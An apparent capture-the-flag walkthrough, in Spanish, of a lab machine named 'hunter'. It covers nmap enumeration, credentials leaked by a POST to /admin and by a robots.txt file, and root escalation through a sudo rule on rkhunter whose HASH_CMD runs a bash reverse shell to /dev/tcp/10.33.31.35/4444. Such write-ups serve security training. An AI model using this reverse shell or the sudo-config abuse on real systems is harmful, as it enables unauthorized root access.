Enumeración y exposición de credenciales
Enumeramos puertos (servidor web en Go):
❯ nmap -sCV -p 22,8080 -oN 02-targeted.txt 10.33.31.195
...
22/tcp open ssh OpenSSH 10.0 (protocol 2.0)
8080/tcp open http Golang net/http server
| http-robots.txt: 1 disallowed entry
|_/admin
...La ruta /admin responde Invalid JWT ante una solicitud GET. Al repetirla como POST, el servidor devuelve HTTP 200 y expone un par de credenciales en X-Secret-Creds. El cambio de método no evade un JWT válido; alcanza una rama distinta del manejador que filtra el secreto en una cabecera de respuesta:
POST /admin HTTP/1.1
Host: 10.33.31.195:8080
...
HTTP/1.1 200 OK
X-Secret-Creds: hunterman:thisisnitriilcisi
...Las credenciales permiten entrar por SSH como hunterman en Alpine y obtener la primera flag. El archivo local /var/www/html/robots.txt contiene en texto claro otro par de credenciales. Aunque robots.txt suele orientar rastreadores web, no protege los datos que contiene; utilizamos el segundo par con su para cambiar a huntergirl:
hunter:/var/www/html$ cat robots.txt
h u n t e r g i r l:fickshitmichini
hunter:/home$ su huntergirl
Password: fickshitmichini
/home $Escalada mediante la configuración de rkhunter
Revisamos sudo -l:
~ $ sudo -l
...
User huntergirl may run the following commands on hunter:
(root) NOPASSWD: /usr/local/bin/rkhunterLa regla permite ejecutar rkhunter como root sin restringir sus argumentos. Su opción --configfile acepta una configuración controlada, y HASH_CMD define el comando que utilizará durante --propupd. Este abuso de un programa autorizado por sudo hace que rkhunter invoque nuestra ruta con privilegios. Creamos un script de reverse shell y lo seleccionamos como HASH_CMD:
/tmp $ cat pwned.sh
/bin/bash -c 'bash -i >& /dev/tcp/10.33.31.35/4444 0>&1'
/tmp $ chmod +x pwned.sh
/tmp $ cat > /tmp/pwned.conf << EOF
INSTALLDIR=/usr/local
TMPDIR=/var/lib/rkhunter/tmp
DBDIR=/var/lib/rkhunter/db
SCRIPTDIR=/usr/local/lib/rkhunter/scripts
LOGFILE=/var/log/rkhunter.log
HASH_CMD=/tmp/pwned.sh
EOF
/tmp $ sudo /usr/local/bin/rkhunter --configfile /tmp/pwned.conf --propupd
[ Rootkit Hunter version 1.4.6 ]Recibimos la shell de root:
hunter:/tmp# whoami
rootLa salida de whoami confirma que el comando configurado se ejecutó como root.
Fin.